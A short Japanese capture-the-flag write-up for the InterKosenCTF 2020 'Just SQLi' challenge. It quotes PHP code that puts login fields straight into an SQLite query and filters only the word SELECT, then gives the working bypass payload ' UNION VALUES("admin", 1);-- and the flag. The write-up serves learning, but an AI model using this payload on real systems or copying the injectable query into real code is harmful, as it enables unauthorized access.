# Just SQLi [InterKosenCTF 2020] ###### tags: `InterKosenCTF2020` ## 概要 SQLiがある。 ```php $db->exec("CREATE TABLE IF NOT EXISTS users (username TEXT UNIQUE, password TEXT, is_admin BOOL);"); $q = "username, is_admin FROM users WHERE username = '$username' AND password = '$password'"; if (preg_match("/SELECT/i", $q)) { throw new Exception("only select is a forbidden word"); } $rows = $db->query("SELECT " . $q, PDO::FETCH_ASSOC); foreach ($rows as $row) { $user = $row["username"]; $is_admin = $row["is_admin"]; } ``` 初期状態ではユーザーは存在しないらしく、SELECTが使えない。 SQLiteなのでコメントとかを挟む方法は使えない。 ## 解法 SQLiteの[SELECT文のドキュメント](https://www.sqlite.org/lang_select.html)を見ると、SELECTの後にcompound operatorが来て、その後SELECTを飛ばしてVALUESを使えることが図から一目で分かる。 のでこんなのを投げると ``` ' UNION VALUES("admin", 1);-- ``` こんなのが返ってくる。 ``` KosenCTF{d0_y0u_kn0w_that_the_w0rd_va1u35_can_b3_aft3r_un10n} ``` ## 感想・意見 - 公式ドキュメントを読んだ者が勝つ :muscle: いい感じの問題 - easyでよさそう - `SELECT`を使わない、あるいは`VALUES`を使う問題を調べたが出てこなかったので新規性すらありそう